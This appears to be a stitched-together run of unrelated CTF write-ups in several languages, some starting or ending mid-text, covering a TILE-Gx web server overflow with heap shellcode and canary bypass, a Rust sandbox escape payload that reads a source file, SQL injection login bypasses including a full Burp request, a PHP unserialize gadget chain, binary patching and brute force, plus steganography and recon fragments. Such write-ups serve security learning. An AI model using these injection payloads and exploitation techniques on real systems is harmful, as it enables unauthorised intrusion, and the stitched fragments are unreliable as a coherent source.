2. 然后就是希望找到这个东西的交叉编译工具链，没有找到可用的，但是发现centos上提供了这个包，所以直接yum就有了这个东西的gcc以及objdump objcopy啥的，于是可以反编译以及编译shellcode了。老外开发了这个架构的ida插件，不过仅仅适配了linux的ida，并没有资源，所以直接放弃逆向，直奔调试。
3. 这个httpserver存在basic认证，iot的basic认证经常出现栈溢出，因为在base64解码时，经常调用的解码函数并没有对输出位置的长度进行限制，导致出现缓冲区溢出，瞎发包果然测出来可以控制流劫持，并不知道怎么绕过的canary。
4. qemu-user是docker里ubuntu 20.04 直接install的，没有patch，故原生的qemu不支持NX，故shellcode一把梭应该就行，在堆上找到了base64解码后的数据，故shellcode不必考虑00，堆地址在同一个环境下是固定的，给了docker，换掉其中的qemu为刚才编译的可以调试的qemu，直接开调即可。
5. dockerfile里限制了ctf用户不可执行/bin/sh，所以shellcode的功能是`execve("/readflag",["/readflag","/flag",0],0)`，shellcode可以把libc用objdump反编译，然后照着execve抄，看看语法和寄存器啥的，系统调用号和arm64的linux一样，然后写shellcode即可。
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# Geoguessr1 - Misc
- At first the image will trick you by making you think that this is in Poland
- But googling flags that are similar to Poland's we find Indonesia and Monaco, Monaco is the place
- The next that is going to help us is the 2 signs in the back, the `smart` sign doesn't help much, the other sign says `drm`
- Search that up on google and it will correct you saying that its `dpm motors`, we can confirm by comparing the logos
- Go to google maps, search dpm motors Monaco and it will take you to the place
- Now from here its really just patience since the image looks to be taken in an alley way, we need to look at static objects that will help us find where this exactly is
- Theres an intersection and a construction building in the background
- So look around, use street view(this took me quite sometime and eventually i almost gave up)
- After possibly a couple of hours you should be able to find the place in an alley `not too far from dpm motors`
## Flag - flag{43.738,7.418} |
# dimensionality
**Category**: Rev \**Points**: 144 points (69 solves) \**Author**: EvilMuffinHa, asphyxia
The more the merrier
Attachments: `chall`
## Overview
Opened it in Ghidra but the decompilation sucked, so I switched to Cutter.
Basically the program calls a function to check the input. If it passes, itXOR's the input with a byte-string to print the flag.
It's hard to tell what the input checker does just by looking, so this is whereusing Cutter's debugger to setup through the program in graph view helped alot.
> Another thing that helped was running the program in> [Qiling](https://github.com/qilingframework/qiling) and hooking several> important addresses to dump the registers. See [debug.py](debug.py) for> script
In short, we have this thing:
- Start at 2 and end at 3- Can only step on the 1's- Can only step forwards/backwards in increments of 1, 11, and 121- Each character determines what kind of step to take- Input must be at most 29 characters
I solved this with breadth-first search (see `solve.py`), which gave me 5 possible strings:```flluulluuffffrrffrrddddrrffffllddllffrrffffrrffuubbrrffffddllllffrrffffrrffuubbrrffffrrffllllffddffrrffuubbrrffffrrffllffllddffrrffuubbrrffffrrffllffddllffrrffuubbrrfff```
It was the last one:```$ ./challfrrffllffddllffrrffuubbrrfff:)flag{star_/_so_bright_/_car_/_site_-ppsu}``` |
## To the million (150 Points)
### Enoncé```Atteindre un score de 1 millions ```
### Solution
Pour ce challenge j'ai utilisé le logiciel CheatEngine qui est un modificateur de valeur mémoire en temps réel afin de modifier le score est d'obtenir 1 millions .
Dans un premier temps on va effectuer un premier scan de toutes les valeurs en recherchant 0 (la valeur du score au début) .
Ensuite on va obtenir un nouveau score et ensuite faire un Next scan jusqu'à trouver l'adresse mémoire du score .
Une fois l'adresse mémoire du score trouvé on modifie sa valeur à 1 000 000 .
Après avoir modifier le score une popup apparaît avec le flag .
### Flag : `CYBERTF{Y0u_H4ck3d_Th3_G4m3}` |
## Secret Document
***Secret document is material that FIB deems to be sensitive information and must be protected. (.docx included)***
after downloading ***Classified.docx***
***file CLassified.docx*** returns that in real this is 3,1M pcapng capture file
after quick analysis of protocols I have extracted data transfered by ftp protocol
flag is ***SBCTF{Cl4ssified_information}*** |
# Overview
A server written in rust, which creates and runs Services (a Service there is a trait, a traits are similar to interfaces in other languages).There are two Services, one is implemented in `user_1` module which is predefined and the other one (`user_0`) is supposed to be implemented by the user.
A Python code wraps it all - receives the code of `user_0`, build the program and executes it.
Pretty simple, but how's it related to the flag? It is actually placed as a constant string in the predefined module:
```rust#![no_std]use proc_sandbox::sandbox;
#[sandbox]pub mod user { static FLAG: &'static str = "CTF{fake flag}"; use prelude::{mem::ManuallyDrop, Service, Box, String}; pub struct State(ManuallyDrop<String>); impl State { pub fn new() -> Box<dyn Service> { Box::new(State(ManuallyDrop::new(String::from(FLAG)))) } } impl Service for State { fn handle(&mut self, _: &str) {} }}```
I'm not very experienced in rust but I've seen some code and the use of [ManuallyDrop](https://doc.rust-lang.org/std/mem/struct.ManuallyDrop.html) was not familliar to me. As it wraps the flag, it is worth mentioning that the object is a wrapper can be used to inhibit compiler from automatically calling the destructor of the wrapped struct.So it means the flag stays in memory? Interesting
And there is a sandbox. Actually in my point of view there were 3 "layers" of limitations, and the sandbox is one of them:
### Python validationThe user's input is being validated before the program is run (but after compiling). That's the function:
```pythondef check_user_input(): socket_print("Validating user input before compiling...") result = subprocess.run("/home/user/rustup/toolchains/nightly-2020-10-08-x86_64-unknown-linux-gnu/bin/rustc user-0/src/lib.rs -Zast-json=yes", cwd="/home/user/sources", shell=True, timeout=150, capture_output=True) try: ast = json.loads(result.stdout) if len(ast["module"]["items"]) != 5: socket_print("Module escaping detected, aborting.") sys.exit(1)
except json.JSONDecodeError: socket_print( "Something went wrong during validation -- is your input malformed?") sys.exit(1)
```
It tries to check module escaping using a feature of the rust compiler (exporting the AST).
**What actually caught my mind is the old version of the toolchain - should I exploit an old bug?**
### The sandbox
The sandbox is implemented as a [Procedural Macro](https://doc.rust-lang.org/reference/procedural-macros.html) (more specific - attribute macro), which allow running code that consumes and produces rust syntax.
The `Sandbox` goes over the user-modules AST and checks for blocked operations:* The `unsafe` expression.* Linking to external symbol.* `extern` declaration.* Blocked idents (idents are keywords or illegal phrases): `env`, `file`, `include`, `include_bytes`,`include_str`, `option_env`, `std`
### Overriding `prelude`
In rust, [prelude](https://doc.rust-lang.org/std/prelude/index.html) is a list of things that rust automatically imports to every program, particularly for convenience.
It is possible to define your own prelude and that what happens in this challenge, so it goes hand to hand with the sandbox.
The `Service` trait is also defined in the same file.
```rustpub use std::io::Read;pub use std::io::Result as IoResult;pub use std::vec::Vec;pub use std::println as log;pub use std::string::String;pub use std::str;pub use std::mem;pub use std::boxed::Box;
pub trait Service { fn handle(&mut self, query: &str);}```
# My (unintended) way to the solution
There were some "hints" that led me to think I should get the flag by exploiting a bug that existed in that old version of rust and it should likely be related to memory issues - `DropManually` that keeps the flag in memory, the old toolchain and the name of the challenge.
But I had another idea.
As mentioned before, the sandbox is implemented as a Procedural Macro, which made me think - In what order the build-time code is run? **What if I define a macro inside the module and call it later?**
The answer is the macro defined inside the module actually processed later and as a result can bypass the sandbox limitations :)
Now I need to get the flag and since I know the absolute path of the project in the server (the path exists in their Python code), the easiest way for me was just reading the source code file from the disk.In order to read from disk you need to use `std` library, and although the sandbox is not an issue anymore, the library cannot be imported because of the prelude overriding.
But as a result of defeating the sandbox, the predule is not an issue anymore - I can use `extern crate`.`extern crate` declaration specifies a dependency on an external crate, [and is likely no longer needed in most cases now](https://doc.rust-lang.org/edition-guide/rust-2018/module-system/path-clarity.html) as `use` is more convenient.
[It is possible to use `extern crate` to add symbols to the `extern prelude`](https://doc.rust-lang.org/reference/names/preludes.html#extern-prelude)
Now that no problems left to be solved, the payload:```rust use prelude::{Service, Box, String, log};
macro_rules! get_the_flag { ($e:expr) => { extern crate std; use std::fs; let all = fs::read_to_string("/home/user/sources/user-1/src/lib.rs").expect("whatever"); log!("{}",all); }; }
pub struct State; impl State { pub fn new() -> Box<dyn Service> { get_the_flag!(""); Box::new(Self) } }
impl Service for State { fn handle(&mut self, _: &str) { } }```
And the flag - `CTF{s4ndb0x1n9_s0urc3_1s_h4rd_ev3n_1n_rus7}`
In fact it turned out the intended solution is actually as "hinted" , as seen in [the original writeup](https://github.com/google/google-ctf/tree/master/2021/quals/pwn-memsafety) |
# **Write-up Invalid Machine (CTFZone 2021)**
> Этот райтап спонсирован каналом [@ch4nnel1](https://t.me/ch4nnel1)
Original write-up: [https://hackmd.io/@osogi/Invalid-Machine](https://hackmd.io/@osogi/Invalid-Machine)
## Разбор + история
Сам таск (https://ctf.bi.zone/challenges/9)
Сам таск (https://ctf.bi.zone/challenges/9)
Ну как обычно запустим бинарник
Он скажет, что какая-то машина, скорее всего наш комп, невалидна. Откроем его в радаре, любым удобным способом выйдем на "главную" функцию `fcn_00001ce1` обзавем ее `Main` (так как main занят), там происходит примерно следующее.```python=1def Main: start_arr=[0x8c, 0x2a ... 0xf5, 0x0f] #[rbp - 0x90]...[rbp - 0x11] #len(start_arr)==0x80 buf_arr=[0]*0x80 #[rbp - 0x110]...[rbp - 0x91] hashid=[0]*0x20 #[rbp-0x140]-[rbp-0x121] leng=0x80 #[rbp - 0x144] if(!fcn_0000179e(hashid)): return 0 if(!fcn_00001c23(hashid)): return 0 buf_arr=start_arr.copy() #Какая-то магия с buf_arr и hashid #В результате которой buf_arr меняется start_arr=buf_arr.copy() if(!fcn_00001a15(start_arr, leng)): print("Invalid machine...") return 0 print("Good job") for c in start_arr[0x40:leng]: print(chr(c), end='') print() return 1```Рассмотрим функцию `fcn_0000179e` (я ее сильно упростил, там были еще проверки на успешное завершение функций, но функции могли завершиться некорректно только из-за сбоя в системе)```python=1def fcn_0000179e(a): integer=0 s=read_machine_id(32) #fcn_00001326 # read_machine_id(n) - выделить в памяти n+1 байт, # прочитать в них n байт из "/etc/machine-id", # вернуть указатель на них hex_to_int(s, integer) #fcn_00001246 # hex_to_int(a, b) == b=int(a[:8], 16) hashid = sha256(integer, 4) #fcn_000011e5. Определяем, что это sha256 по константам в глубине этой функции # sha256(arg, ln) arg-то от чего считается хеш, ln-размер arg в байтах #Тут, снова криптографическая магия, но в этот раз с hashid a=hashid return 0```Получается `fcn_0000179e` вернет в `Main` некий преобразованный хеш от 4 байт, представленных в `/etc/machine-id`, и запишет его в `hashid`
Рассмотрим `Main` дальше, в функции `fcn_00001c23` происходит просто проверка на то, что `hashid` состоит не полностью из нулей.А вот `fcn_00001a15` будет чуть интереснее (псевдокод как и в прошлый раз приведен без 'системных' проверок)```python=1def fcn_00001a15(arr, leng): first=arr[0:0x40].copy() second=arr[0x40:leng].copy() buf=sha256(second, leng-0x40) hexstr=to_hexstr(buf, 32) #fcn_000018e8 #to_hexstr(arg, ln) == hex(buf) при этом sizeof(buf)==ln return (hexstr==str(first))```Посмотрев на все эти функции и куски кода с криптографической магией. Мне показалось, что самым верным и быстрым способом решения будет сбрутить `integer` из `fcn_0000179e`, так как `hex_to_int` возвращает только 4 байта и прога использует `integer`, как 4 байтную переменную. Хоть 4 байта и можно сбрутить, но это будет не слишком быстро, так что нужно это максимально оптимизировать, и способ из разряда, менять `/etc/machine-id`, запускать бинарь и смотреть на его вывод, точно не будет достаточно быстрым.В результате мной было решено запатчить бинарь, патч в псевдокоде должен был выглядеть примерно так```python=1def Main: while True: start_arr=[0x8c, 0x2a ... 0xf5, 0x0f] #[rbp - 0x90]...[rbp - 0x11] #len(start_arr)==0x80 buf_arr=[0]*0x80 #[rbp - 0x110]...[rbp - 0x91] hashid=[0]*0x20 #[rbp-0x140]-[rbp-0x121] leng=0x80 #[rbp - 0x144] if(!fcn_0000179e(hashid)): return 0 if(!fcn_00001c23(hashid)): return 0 buf_arr=start_arr.copy()
#Какая-то магия с buf_arr и hashid #В результате которой buf_arr меняется
start_arr=buf_arr.copy() if(!fcn_00001a15(start_arr, leng)): continue #patched print("Good job") for c in start_arr[0x40:leng]: print(chr(c), end='') print() return 1 def fcn_0000179e(a): integer=0 glob+=1 #patched integer=glob hashid = sha256(integer, 4) #fcn_000011e5. #Тут, снова криптографическая магия, но в этот раз с hashid a=hashid return 0
glob = 0 #patched```Проблемы с которыми я столкнулся:1. Где размещать глобальную переменную? Это решилось гениальным или неочень способом, я разместил ее на месте занопленного (заполненного nop'ами) кода, но это вызвало еще другую проблему.2. Изменить права секции и сегмента на rwx, права секции я изменил через радар, а вот разрешения сегмента пришлось менять вручную через 010editor3. Радар/ризин часто косячут с преобразованием асм инструкций, и приходится либо исжитряться либо пользоваться другими тулзами. Я воспользовался первым способом.
В результате получил примерно такой [бинарь](https://github.com/osogi/writeups/blob/main/ctfzone2021/Invalid_Machine/invalid_machine_patched.elf).Пока он стоял на бруте, я успел поделать другие таски, устал, сделал еще одну версию бинарника, которая бы перебирала результат с верху, посчитал что даже с двумя активными прогами я не успею перебрать весь отрезок, растроился, отчаился, разобрал куски кода с криптографической магией, понял, что в теории зная формат флага и начальное состояние массива можно востановить `hashid` из `Main`, а потом и весь флаг, решил воспользоваться angr'ом, для совершения этого плана. Но в моей голове пошло что-то не так и в результате вместо, поиска валидного значения `hashid` для получения правильного начала флага, я заставил angr искать `integer`, который я пытался сбрутить. Вроде мой скрипт с angr'ом даже начал работать, но у меня сложилось впечатление, что он просто начал брутить, так что я остановил две свои брут-машины (и записал значение на которых они остановились) и решил дать ему шанс поработать 10 минут, но он за отведенное время ничего не выдал => был ~~казнен~~ остановлен. Я запустил свои брут-машины снова, и каково было мое удивление, когда одна из них спустя 3 минуты выдала это
Тип, вроде флаг, ура! Но нет, сайт говорит "флаг - инвалид", тут я уже растроился, что стратегия с брутом не сработала, но тут мне опять помогла моя тима
Оказывается верным флагом был не `ctfzone{_You_are_a_hacker_but_you_are_the_good_kind_of_hacker!_}`, а `ctfzone{You_are_a_hacker_but_you_are_the_good_kind_of_hacker!}`, ну или по крайней мере мне так сообщил тимейт.
## Решение
- Разреверсить fcn_00001ce1 и fcn_0000179e- Понять, что в fcn_0000179e есть четырехбайтная переменная, которую можно сбрутить- Пропатчить файл, чтобы он сам себя брутил ([пример пропатченого файла](https://github.com/osogi/writeups/blob/main/ctfzone2021/Invalid_Machine/invalid_machine_patched.elf))- Поставить брутить- Подождать 5 часов ([версия для нетерпеливых на 3 минуты](https://github.com/osogi/writeups/blob/main/ctfzone2021/Invalid_Machine/invalid_machine_patched_flash.elf))- Закончить брут, попытаться сдать флаг `ctfzone{_You_are_a_hacker_but_you_are_the_good_kind_of_hacker!_}`- Понять, что в нем лишние нижние подчеркивания, сдать флаг `ctfzone{You_are_a_hacker_but_you_are_the_good_kind_of_hacker!}`
## Эпилог
Хоть я и решил этот таск, но кажется авторское, правильное решение далеко не такое. Так что пожалуйста, если Вы знаете как его решить по нормальному и читаете этот райтап. Напишите свой райтап, поделитесь своими знаниями с миром, в том числе и со мной.
За сим я откланиваюсь, свою миссию по райтапам для ctfzone2021 уже выполнил, и теперь свободен.
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# The Real CTF CAPTCHAIf you’re a CTFer, you should be able to pass this CAPTCHA test.Enter the letters you see in this picture.
For each attempt, a new image is generated with a unique string. In order to get the flag you must enter the correct string 25 times in a row. I manually decoded the 25 images using [stegsolve](https://github.com/zardus/ctf-tools/blob/master/stegsolve/install) . The text was hidden in one of the various color channels.
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# Movie-Login-3:webex:200ptsI think the final addition to the Gerard series is coming out! I heard the last few movies got their poster leaked. I'm pretty sure they've increased their security, though. Could you help me find the poster again? [denylist.json](denylist.json) [http://web.bcactf.com:49162/](http://web.bcactf.com:49162/) Hint 1 of 2 Does there seem to be anything different about this problem? Hint 2 of 2 How can you get around the new keywords being detected?
# Solution[Movie-Login-2](../Movie-Login-2)と同様の問題のようだ。 denylist.jsonが以下のように更新されていた。 ```json:denylist.json[ "and", "1", "0", "true", "false", "/", "*", "=", "xor", "null", "is", "<", ">"]````true`が使えなくなっているが、`' OR 2 --`とすればよいだけである。 [flag.png](site/flag.png) ログインに成功すると、flagが表示された。
## bcactf{gu3ss_th3r3s_n0_st0pp1ng_y0u!} |
# redpwn2021
# secure**Category:** web **Description:** Just learned about encryption—now, my website is unhackable!
secure.mc.ax
# solutionThis problem is a simple sql injection. When looking at the javascript, you can find that the input is 'sanitized' client side via base 64 encoding, thereby preventing any direct sql injection through the input boxes. However, this can be very easily bypassed by using burp suite. Burp allows you to directly modify the packet sent, so you can change the base64 encoded password in the request sent to the sql injection to bypass b64 encoding and get the flag.
```My Example Burp Request:POST /login HTTP/1.1Host: secure.mc.axUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 53Origin: https://secure.mc.axConnection: closeReferer: https://secure.mc.ax/?message=flag%7B50m37h1n6_50m37h1n6_cl13n7_n07_600d%7DUpgrade-Insecure-Requests: 1
username=YWRtaW4%3D&password=' OR 1=1 -- ```YWRtaW4%3D is base64 & url encoded 'admin' |
# ObjectiveIn this machine, we will first need to find a `user.txt` file and then escalate to root in order to access `root.txt`.
# Discovery## nmapLet's see what is on this machine. What is very interesting is port 80 (http), 3306 (mysql) and potentially 8081.
```bash$ sudo nmap -sS -A -p- 10.129.XXX.XXXStarting Nmap 7.91 ( https://nmap.org ) at 2021-07-25 15:54 EDTNmap scan report for 10.129.XXX.XXXHost is up (0.011s latency).Not shown: 65525 closed portsPORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)| ssh-hostkey: | 3072 4b:89:47:39:67:3d:07:31:5e:3f:4c:27:41:1f:f9:67 (RSA)| 256 04:a7:4f:39:95:65:c5:b0:8d:d5:49:2e:d8:44:00:36 (ECDSA)|_ 256 b4:5e:83:93:c5:42:49:de:71:25:92:71:23:b1:85:54 (ED25519)80/tcp open ssl/http?3306/tcp open mysql?|_ssl-cert: ERROR: Script execution failed (use -d to debug)|_ssl-date: ERROR: Script execution failed (use -d to debug)|_sslv2: ERROR: Script execution failed (use -d to debug)|_tls-alpn: ERROR: Script execution failed (use -d to debug)|_tls-nextprotoneg: ERROR: Script execution failed (use -d to debug)6123/tcp open spark Apache Spark8081/tcp open blackice-icecap?| fingerprint-strings: | FourOhFourRequest: | HTTP/1.1 404 Not Found| Content-Type: application/json; charset=UTF-8| content-length: 74| {"errors":["Unable to load requested file /nice ports,/Trinity.txt.bak."]}| GetRequest: | HTTP/1.1 200 OK| Content-Type: text/html| Date: Sun, 25 Jul 2021 19:55:00 GMT| Expires: Sun, 25 Jul 2021 20:00:00 GMT| Cache-Control: private, max-age=300| Last-Modified: Sun, 25 Jul 2021 19:55:00 GMT| content-length: 2137| |
## This is my writeup of the 250 points challenge 'Destuctoid' in Imaginary CTF 2021.
### This is the challenge's description
![[Pasted image 20210725162523.png]](https://github.com/letronghoangminh/CTF-Writeups/blob/master/Web/ImaginaryCTF%20-%20Destructoid%20250%20pts/Images/Pasted%20image%2020210725162523.png)
### There are a youtube link link to the 'We Are Destroyer' song by Anberlin (it was good :D) although we really dont need this hint.
#### Here is the front page of the site![[Pasted image 20210725162917.png]](https://github.com/letronghoangminh/CTF-Writeups/blob/master/Web/ImaginaryCTF%20-%20Destructoid%20250%20pts/Images/Pasted%20image%2020210725162917.png)
#### Reverse the text and i got **Can you find my ?source** so i requested to 'https://destructoid.chal.imaginaryctf.org/?source'
#### Here is what i got![[Pasted image 20210725163320.png]](https://github.com/letronghoangminh/CTF-Writeups/blob/master/Web/ImaginaryCTF%20-%20Destructoid%20250%20pts/Images/Pasted%20image%2020210725163320.png)
### So basically we must exploit the unserialize vulnerability from the `$_SERVER['HTTP_X_PADYLOAD]'`#### We can set it with our request header 'X-PAYLOAD'#### For who doesn't know:- `__construct` function is automatically called when we create an object- `__wakeup` function is automatically called when we unserialize a serialized object- `__toString` function is automatically called when we `echo` an object
#### Look at the code, we see that `$printflag` is set to false and only change to true if the `__toString` function of class Y invoked![[Pasted image 20210725163657.png]](https://github.com/letronghoangminh/CTF-Writeups/blob/master/Web/ImaginaryCTF%20-%20Destructoid%20250%20pts/Images/Pasted%20image%2020210725163657.png)
#### To invoke the `__toString` we must `echo` a Y object, here we only see one `echo`![[Pasted image 20210725163741.png]](https://github.com/letronghoangminh/CTF-Writeups/blob/master/Web/ImaginaryCTF%20-%20Destructoid%20250%20pts/Images/Pasted%20image%2020210725163741.png)
#### What does that mean? So basically the `echo` will be called when the `__wakeup` is called (mean that a Y object is unserialized)#### So we can construct our Y class like this:![[Pasted image 20210725164224.png]](https://github.com/letronghoangminh/CTF-Writeups/blob/master/Web/ImaginaryCTF%20-%20Destructoid%20250%20pts/Images/Pasted%20image%2020210725164224.png)
#### Then after we serialize this `exploit` object and send to server, when it's unserialized the Y object inside will be echoed and set the $printFlag to true![[Pasted image 20210725164452.png]](https://github.com/letronghoangminh/CTF-Writeups/blob/master/Web/ImaginaryCTF%20-%20Destructoid%20250%20pts/Images/Pasted%20image%2020210725164452.png)
#### Cool, so we got in the `__destruct` function of X class (pay attention to the No! with 'o' lowercase)#### Now return to class X![[Pasted image 20210725164552.png]](https://github.com/letronghoangminh/CTF-Writeups/blob/master/Web/ImaginaryCTF%20-%20Destructoid%20250%20pts/Images/Pasted%20image%2020210725164552.png)#### We see from class Y that a Y object's secret will be passed in to class X as `$cleanup` and create a new X object. If `$cleanup` is 'flag' it will be blocked by the `__construct` function of X class. So we have to reach the `__destruct` function without creating a new X object### Here is what i did:![[Pasted image 20210725165005.png]](https://github.com/letronghoangminh/CTF-Writeups/blob/master/Web/ImaginaryCTF%20-%20Destructoid%20250%20pts/Images/Pasted%20image%2020210725165005.png)
#### So when the inside Y object is echoed, it will create a new X object with the `$cleanup` equal to a X object with its own `$cleanup` is 'flag' (confusing right? try to imagine it as X inside X)
#### So then we can pass the `__contruct` function and when the `__destruct` of the inside X object is called, we got the flag![[Pasted image 20210725165252.png]](https://github.com/letronghoangminh/CTF-Writeups/blob/master/Web/ImaginaryCTF%20-%20Destructoid%20250%20pts/Images/Pasted%20image%2020210725165252.png)
### I know it's really confusing, just take time to think and you will understand
### Star me if you found this useful## Credit: psycholog1st
|
# tile
pwn, 2 solves, 916 points
An old IoT device. [attachment](https://github.com/mephi42/ctf/tree/master/2021.07.03_0CTF_TCTF_2021_Quals/tile/tile_90b9c4bf6faed82517df394f8be3e9d7.tar.gz)
`http://111.186.59.27:28088`
## TL;DR / links
* [TILE-Gx](https://en.wikipedia.org/wiki/TILE-Gx) ELF binary implementing a HTTP server.* [ISA reference]( https://nanopdf.com/download/tile-gx-instruction-set-architecture_pdf).* Build [QEMU](https://git.qemu.org/?p=qemu.git) v5 (TILE-Gx is removed in v6) with `--target-list=tilegx-linux-user`, play with the binary.* Build [afl++](https://github.com/AFLplusplus/AFLplusplus) with [this patch]( https://github.com/mephi42/ctf/tree/master/2021.07.03_0CTF_TCTF_2021_Quals/tile/0001-tilegx.patch), find crashes in the basic authentication handling.* QEMU GDB stub is broken, use tracing with [`-singlestep -d in_asm,cpu -strace`](https://github.com/mephi42/ctf/tree/master/2021.07.03_0CTF_TCTF_2021_Quals/tile/ctf.xinetd.patch) instead.* Build [binutils](https://sourceware.org/git/gitweb.cgi?p=binutils-gdb.git) with `--target=tilegx-linux-gnu`, decompile objdump output [by hand]( httpd.dcmp) - the code appears to be built with `-O0`, so it's simple, but tedious.* Understand the crashes: username and password are essentially `strcpy()`ed into `alloca(32)`ed buffers.* Check mitigations: no ASLR (binary, heap and stack are all at known locations), no NX (heap is executable), stack canary present.* Use the username overflow to overwrite the password pointer with the address of the return address, bypassing the canary.* Overwrite the return address with the shellcode address (on heap).* Realize that the remote server may have slightly different stack addresses (due to argv, envp, and especially auxv) and brute force the delta.* [Exploit](https://github.com/mephi42/ctf/tree/master/2021.07.03_0CTF_TCTF_2021_Quals/tile/v02-pwnit.py).* Flag: `flag{rop_on_t1111111le-gx_is_funny_27b7d3}`.
## Fuzzing
As I learned from CFZone 2021's FuzzAN-US challenge, afl++ supports foreignarchitectures with its QEMU instrumentation, so I tried building it forTILE-Gx:
```qemu_mode$ CPU_TARGET=tilegx ./build_qemu_support.sh```
Unfortunately, `afl-fuzz` refused to run, stating that handshake withforkserver has failed. I had to debug and figured out that the instrumentedcode does not call `shmat(getenv(SHM_ENV_VAR))`. QEMU's tilegx implementationdoes not use the common `translator_loop()`, to which afl++ adds itsinitialization, but rather implements a similar loop on its own. Adding thesimilar logic there fixed the issue.
By looking at `strings` output it's possible to figure out what subset of HTTPthe binary implements:
- `GET`, `HEAD` and `POST` methods.- `Content-Length`, `Host` and `Authorization` (`Basic`) headers.
Admin credentials (`admin:70p_s3cr37_!@#`) are also there. That's enough togive afl++ some initial input data to work with, and indeed, after severalminutes it finds a bunch of crashes by passing weird data with the`Authorization` header.
## Debugging
When trying to connect to QEMU GDB stub, GDB (both from Ubuntu 20.04 andbinutils master) thinks the other side is sending garbage, and bails. I'vedecided against trying to fix that and went with inspecting the trace thatQEMU writes when invoked with `-singlestep -d in_asm,cpu -strace` flags.`-singlestep` makes it trace each instruction, instead of each basic block,`-d in_asm` shows correspondence of program counter values to instructions,`-d cpu` shows register values after each instruction, and `-strace` showsthe syscalls.
Traces produced this way aren't too large and can be navigated using vim oreven `grep -C`. Knowing that it's better to debug in the remote-likeenvironment, I also added these flags to the xinetd config and used `dockerexec grep` to look at the data.
## Static analysis
There don't seem to be good tools to decompile TILE-Gx (there is a pluginfrom Talos, but it's for the Linux version of IDA, which I don't have), soI've decided to manually work with the objdump output. The local variablesin the binary are constantly spilled and loaded back (most likely becauseit's built with `-O0`). Even though it means that a single line of codecorresponds to like 10 assembly instructions, it's easy to keep track offrame offsets (as opposed to register juggling in optimized code) andrecognize many patterns (e.g. loading constants with `moveli` +2 x `shl16insli` or function calls).
Knowing the crash location, I probably could have gotten away with notdecompiling as much code as I did, but I wanted to be sure I understood whatwas happening. The code works with the following structures:
```struct req { /* 0x00 */ void *; /* 0x08 */ void *method; /* 0x10 */ void *uri; /* 0x18 */ hdr *hdr; /* 0x20 */ char *content; /* 0x28 */ long content_length; /* 0x30 */ char *host; /* 0x38 */};
struct hdr { /* 0x00 */ char *name; /* 0x08 */ void *value; /* 0x10 */ hdr *next; /* 0x18 */};```
First, [`sub_1001378`](https://github.com/mephi42/ctf/tree/master/2021.07.03_0CTF_TCTF_2021_Quals/tile/httpd.dcmp#L274) reads the request from stdin, then[`sub_1003750`](https://github.com/mephi42/ctf/tree/master/2021.07.03_0CTF_TCTF_2021_Quals/tile/httpd.dcmp#L1525) handles it and prints the response tostdout, and finally [`sub_1002270`](https://github.com/mephi42/ctf/tree/master/2021.07.03_0CTF_TCTF_2021_Quals/tile/httpd.dcmp#L797) frees the requestmemory. `sub_1003750` calls [`sub_1002f98`](https://github.com/mephi42/ctf/tree/master/2021.07.03_0CTF_TCTF_2021_Quals/tile/httpd.dcmp#L1258) to check the`Authorization` header. It uses [`sub_10054b0`](https://github.com/mephi42/ctf/tree/master/2021.07.03_0CTF_TCTF_2021_Quals/tile/httpd.dcmp#L2516) to decodebase64-encoded credentials, splits them by `:`, and ...
## Bug
... does `alloca(32)` two times and copies the username and the password to theresulting buffers without any length checks whatsoever.
## Exploitation
The stack layout is as follows:
```+-----------+ <- stack top| password |+-----------+| username |+-----------+| &password | <- username overflow -\+-----------+ || &username | |+-----------+ || ......... | |+-----------+ || cookie | |+-----------+ || retaddr | <---------------------/+-----------+```
The code copies the username first, so we can use the overflow there tooverwrite the password pointer. The new value can point to the returnaddress, bypassing the cookie. From here on one could just write a ROP, butthere is an even easier way: shellcode.
A few years back I made a similar challenge - [Learning the Ropes](https://github.com/mephi42/ctf/tree/master/2019.11.30-CTFZone_2019/pwn-Learning_the_Ropes), where the goal was tomake players write ROP for [IBM Z](https://en.wikipedia.org/wiki/IBM_Z).However, some of them realized that the version of QEMU the challenge wasrunning on did not implement all the memory protections, and simply jumped toshellcode on stack.
Here it's not that simple, because the copying is done until `'\0'`, andwriting shellcode without `'\0'`s in it might be more challenging thanwriting a ROP chain. However, there is still a base64-decoded array onthe heap. Since there is no ASLR either, it has a fixed address.
The last problem was that the exploit failed very early on the remote system.Of course, my approach with hardcoding a bunch of addresses is fragile, but onthe other hand the docker environments should be identical. Finally, Irealized, that while I tried to keep argv and envp the same, auxv is managed bythe kernel and cannot be easily manipulated. So I ran exploit in a loop, tryingdifferent stack offsets, and at 16 it clicked. So, there must have been oneextra auxv element on the server.
## Conclusion
Quite an interesting challenge - a tribute to a dying architecture (theTILE-Gx support is being removed from everywhere). The bug is not thatcomplicated, but this is compensated by the lack of reversing tools - it'snice that afl++ could be easily made to work though. Judging by the flag, theintended solution must have been a ROP chain, but a known QEMU deficiencyallowed me to get away with the shellcode. |
# Part 1 : Subliminal advertising
## Overview of fileFirst of all we download the provided file which has the extension .apng.Quick search on the internet to find out it is an animated png file. Let's try to open it with a browser : ideed, it is a space ship rotating.
By making some quick commands (strings / exif) we find out no hidden information can be found in this file.
## Splitting the APNG fileLet's split it into the different png images. To do this we use the tool APNG Disassember (sudo apt-get install apngdis)
First step is to put the apng file into a folder, there is no possibility to extract to a selected directory.Then we send the command :
`apngdis ugo.apng`
We get 61 different images, that might take a while...
## Getting the flag
We scroll through the images using the picture viewer of our kali linux and we find out the 2 last images are the same. Or they seem to be the same.On the 60th one we have additional pixels on the right side of the starship.
-----
-----
We zoom in and find out the flag. We shouln't zoom too much or it will be unreadable :
> CTF{4d115cb1c0a42cecac7899eee584dbcb}
# Part 2 : Space Time
The description of this second parts talks about supporting spacetime. As it is an animated PNG maybe the time between two images is configurable ?Let's find out by looking at the APNG specification :[APNG Specification](https://wiki.mozilla.org/APNG_Specification#Structure)
In the specification we found out the fcTL Chunk (Frame Control Chunk) and the following structure of the chunk :
